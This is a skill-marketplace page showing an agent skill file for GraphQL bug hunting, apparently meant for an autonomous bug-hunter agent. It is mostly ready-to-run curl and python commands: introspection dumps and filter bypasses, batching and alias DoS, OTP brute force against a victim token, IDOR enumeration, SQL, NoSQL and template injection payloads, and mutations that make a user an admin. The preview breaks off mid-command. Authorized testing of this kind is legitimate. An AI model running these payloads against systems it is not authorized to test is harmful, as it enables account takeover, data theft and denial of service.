Skip to main content

graphql-audit

GraphQL security hunting — introspection abuse, field suggestion enumeration (clairvoyance), batching DoS, IDOR via aliasing, auth bypass, injection via arguments, subscription abuse, depth/complexity bombs, and WAF bypass. Covers graphw00f fingerprinting, gqlmap, graphql-cop, and inql. Use when a target exposes a /graphql, /api/graphql, or GQL-over-HTTP endpoint.

ソース情報

リポジトリ
Awarexone/Agentic-Bug-Hunter
ソースの最終更新活動
2026年6月16日 14:20
検出された SKILL.md の言語
英語
スター
5,321
フォーク
941

インストール方法

デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。

ソースファイルを確認

インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。

SKILL.md を表示中

SKILL.md
ソースの指示 · 読み取り専用プレビュー
name
graphql-audit
description
GraphQL security hunting — introspection abuse, field suggestion enumeration (clairvoyance), batching DoS, IDOR via aliasing, auth bypass, injection via arguments, subscription abuse, depth/complexity bombs, and WAF bypass. Covers graphw00f fingerprinting, gqlmap, graphql-cop, and inql. Use when a target exposes a /graphql, /api/graphql, or GQL-over-HTTP endpoint.
# GRAPHQL SECURITY AUDIT > GraphQL flips the threat model — clients drive queries. One endpoint, infinite attack surface. Introspection hands you the schema; even without it, field suggestions give you 80% back. --- ## 0. QUICK KILL CHECKLIST ``` [ ] Run graphql_audit.sh <endpoint> — full automated sweep [ ] Check if introspection is enabled (__schema query) [ ] If introspection off — run clairvoyance for field discovery [ ] Fingerprint engine (graphw00f) — different engines, different CVEs [ ] Test query batching — send 100 identical queries in one POST [ ] Test alias bombing — 1000 aliases in one query [ ] Check field suggestions on typos — leaks schema even when introspection off [ ] Try IDOR: query another user's object by ID, no auth check [ ] Test field-level auth: query privileged fields (admin, role, internalNote) [ ] Inject SQLi/NoSQLi via string arguments — id, filter, search args [ ] Check subscriptions: can you subscribe to other users' events? [ ] Try introspection bypass: __schema\nquery, query batching, fragment tricks [ ] Look for mutation rate limiting — account takeover / self-XSS via mutations ``` --- ## 1. TOOL — graphql_audit.sh ```bash # Basic audit bash tools/graphql_audit.sh https://target.com/graphql # With auth cookie bash tools/graphql_audit.sh https://target.com/api/graphql --cookie "session=abc123" # With Authorization header bash tools/graphql_audit.sh https://target.com/graphql --header "Authorization: Bearer TOKEN" # Through Burp proxy bash tools/graphql_audit.sh https://target.com/graphql --proxy http://127.0.0.1:8080 # Custom output directory bash tools/graphql_audit.sh https://target.com/graphql --output-dir ./findings/target/graphql ``` **Output:** `findings/<target>/graphql/<timestamp>/` - `introspection.json` — full schema dump (if enabled) - `fingerprint.txt` — engine type (graphw00f) - `field_suggestions.txt` — discovered fields via clairvoyance - `batching_dos.txt` — response time delta for 1 vs 100 queries - `alias_bomb.txt` — alias depth test results - `gqlmap.txt` — injection scan results - `cop_report.txt` — graphql-cop attack checklist results - `summary.txt` — hit/miss per phase --- ## 2. INTROSPECTION — Schema Leak (Most Common First Step) ### Check If Enabled ```bash curl -s -X POST https://target.com/graphql \ -H 'Content-Type: application/json' \ -d '{"query":"{ __schema { queryType { name } } }"}' | jq . ``` ### Full Schema Dump ```bash # Pull complete introspection schema (pipe to InQL or graphql-voyager) curl -s -X POST https://target.com/graphql \ -H 'Content-Type: application/json' \ -d '{ "query": "query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }" }' | jq . > schema.json ``` ### What To Look For In The Schema ``` - Mutations involving user data: updateUser, deleteAccount, changeEmail, changePassword - Queries returning other users' objects: user(id: X), order(id: X) - Fields: internalNote, adminOnly, role, isAdmin, rawPassword, apiKey - Types: AdminUser, InternalConfig, DebugInfo - Deprecated fields — often bypassed auth or forgotten - Subscription types — real-time data leaks ``` ### Introspection Bypass Techniques When `__schema` is blocked, try: ```bash # Newline injection (bypasses naive keyword filters) {"query": "query {\n __schema\n { queryType { name } } }"} # Fragment trick {"query": "fragment f on __Schema { queryType { name } } { ...f }"} # __type instead of __schema (often overlooked in blocklists) {"query": "{ __type(name: \"User\") { fields { name type { name } } } }"} # Via GET request (some servers allow GET, filter only POST) GET /graphql?query={__schema{queryType{name}}} # Over WebSocket (GraphQL subscriptions) # Different code path — introspection may be unrestricted ``` --- ## 3. FIELD SUGGESTION ABUSE (Introspection Off — Still Works) GraphQL engines return helpful "Did you mean X?" errors on typos. This leaks field names. ### Manual Probe ```bash # Typo on a known field to trigger suggestions curl -s -X POST https://target.com/graphql \ -H 'Content-Type: application/json' \ -d '{"query":"{ usr { id } }"}' | grep -i "suggest\|did you mean\|Cannot query" ``` ### Clairvoyance (Automated — Recommended) ```bash # Install pip install clairvoyance # Run field discovery against a known type clairvoyance -u https://target.com/graphql -o schema.json # With auth clairvoyance -u https://target.com/graphql \ -H "Authorization: Bearer TOKEN" \ -o schema.json # Seed with known type names (speeds up discovery significantly) clairvoyance -u https://target.com/graphql \ --input-document schema_partial.json \ -o schema_full.json ``` **What clairvoyance recovers:** type names, field names, argument names — ~80% of introspection output even when blocked. --- ## 4. BATCHING DoS (High Payout, Easy to Prove) GraphQL allows sending multiple operations in one POST. No rate limit = DoS or brute-force amplifier. ### Array Batching (Most Common) ```bash # 100 queries in one request — measure response time delta python3 -c " import json, sys q = {'query': '{ __typename }'} print(json.dumps([q] * 100)) " | curl -s -X POST https://target.com/graphql \ -H 'Content-Type: application/json' \ -d @- -w '\nTime: %{time_total}s\n' ``` ### Alias Batching (Bypasses per-query limits) ```bash # 500 aliases — each alias is a separate resolver call python3 -c " aliases = ' '.join(f'q{i}: __typename' for i in range(500)) print('{\"query\": \"{ ' + aliases + ' }\"}') " | curl -s -X POST https://target.com/graphql \ -H 'Content-Type: application/json' \ -d @- ``` ### Impact Escalation - **Brute force amplifier:** 100 login mutations per HTTP request → bypasses per-IP lockout - **OTP bypass:** 1000 alias queries testing OTP codes in one request - **Password reset bombing:** 100 resetPassword mutations, each with a different email ```bash # OTP brute force via alias batching — chain with account takeover python3 -c " import json mutations = [] for code in range(1000, 2000): mutations.append(f'v{code}: verifyOTP(code: \"{code}\", token: \"VICTIM_TOKEN\") {{ success }}') query = '{ ' + ' '.join(mutations) + ' }' print(json.dumps({'query': query})) " | curl -s -X POST https://target.com/graphql \ -H 'Content-Type: application/json' \ -d @- ``` --- ## 5. IDOR VIA DIRECT OBJECT ACCESS GraphQL queries often accept IDs directly. Test whether the server enforces ownership. ### Basic IDOR Probe ```bash # Logged in as user A (id=1) — query user B's data curl -s -X POST https://target.com/graphql \ -H 'Content-Type: application/json' \ -H 'Cookie: session=USER_A_COOKIE' \ -d '{"query":"{ user(id: 2) { email phone address paymentMethods { last4 } } }"}' # Try orders, messages, invoices, appointments curl -s -X POST https://target.com/graphql \ -H 'Content-Type: application/json' \ -H 'Cookie: session=USER_A_COOKIE' \ -d '{"query":"{ order(id: 999) { total items { name } user { email } } }"}' ``` ### Field-Level IDOR (Privileged Fields on Accessible Objects) ```bash # Object is yours — but are ALL fields yours to read? curl -s -X POST https://target.com/graphql \ -d '{"query":"{ me { id email role isAdmin internalNote rawApiKey } }"}' # Test privileged mutations on other users curl -s -X POST https://target.com/graphql \ -d '{"query":"mutation { updateUser(id: 2, role: \"admin\") { success } }"}' ``` ### Enumeration via Aliases ```bash # Enumerate 50 user IDs in one request python3 -c " import json aliases = [f'u{i}: user(id: {i}) {{ id email role }}' for i in range(1, 51)] print(json.dumps({'query': '{ ' + ' '.join(aliases) + ' }'})) " | curl -s -X POST https://target.com/graphql \ -H 'Content-Type: application/json' \ -d @- ``` --- ## 6. INJECTION VIA ARGUMENTS GraphQL arguments pass directly to resolvers. Resolvers often pass them to SQL/NoSQL queries without sanitization. ### SQL Injection ```bash # Classic SQLi probe via search/filter args curl -s -X POST https://target.com/graphql \ -d '{"query":"{ users(search: \"admin'\''--\") { id email } }"}' # Time-based blind SQLi curl -s -X POST https://target.com/graphql \ -d '{"query":"{ users(id: \"1 AND SLEEP(5)--\") { email } }"}' # gqlmap for automated injection gqlmap --target https://target.com/graphql \ --query '{ users(search: GQLMAP) { id email } }' \ --dbms mysql ``` ### NoSQL Injection (MongoDB common in GraphQL backends) ```bash # MongoDB operator injection via JSON coercion curl -s -X POST https://target.com/graphql \ -H 'Content-Type: application/json' \ -d '{"query":"{ login(username: {\"$gt\": \"\"}, password: {\"$gt\": \"\"}) { token } }"}' # Regex bypass curl -s -X POST https://target.com/graphql \ -d '{"query":"{ users(filter: {email: {\"$regex\": \".*\"}}) { id email } }"}' ``` ### SSTI via Template-Rendered Fields ```bash # If description/bio fields render in templates curl -s -X POST https://target.com/graphql \ -d '{"query":"mutation { updateProfile(bio: \"{{7*7}}\") { bio } }"}' ``` --- ## 7. AUTHORIZATION BYPASS PATTERNS ### Unauthenticated Queries ```bash # Try sensitive queries without any auth token curl -s -X POST https://target.com/graphql \ -H 'Content-Type: application/json' \ -d '{"query":"{ users { id email role } }"}' # Try mutations without auth curl -s -X POST https://target.com/graphql \ -d '{"query":"mutation { createAdmin(email: \"test@example.com\", password: \"pass\") { id } }"}' ``` ### Horizontal → Vertical Privilege Escalation ```bash # Step 1: Find role mutation in schema # Step 2: Call it as a regular user curl -s -X POST https://target.com/graphql \ -H 'Cookie: session=NORMAL_USER' \ -d '{"query":"mutation { updateUserRole(userId: ME_ID, role: \"ADMIN\") { success } }"}' ``` ### Deprecated Field Auth Bypass ```bash # Deprecated fields are often forgotten — auth checks removed or loosened curl -s -X POST https://target.com/graphql \ -d '{"query":"{ userProfile(id: 2) { legacyToken adminFlags } }"}' ``` --- ## 8. SUBSCRIPTION ABUSE WebSocket-based subscriptions can leak cross-user events if not scoped per-user. ```bash # Subscribe to another user's events (Burp WebSocket tab or wscat) # First: capture legitimate subscription query in Burp # Then: change userId to victim's ID wscat -c wss://target.com/graphql \
GitHubで見る
この SKILL.md は非常に大きいため、SkillsMP では最初のセクションだけを表示しています。 GitHubで見る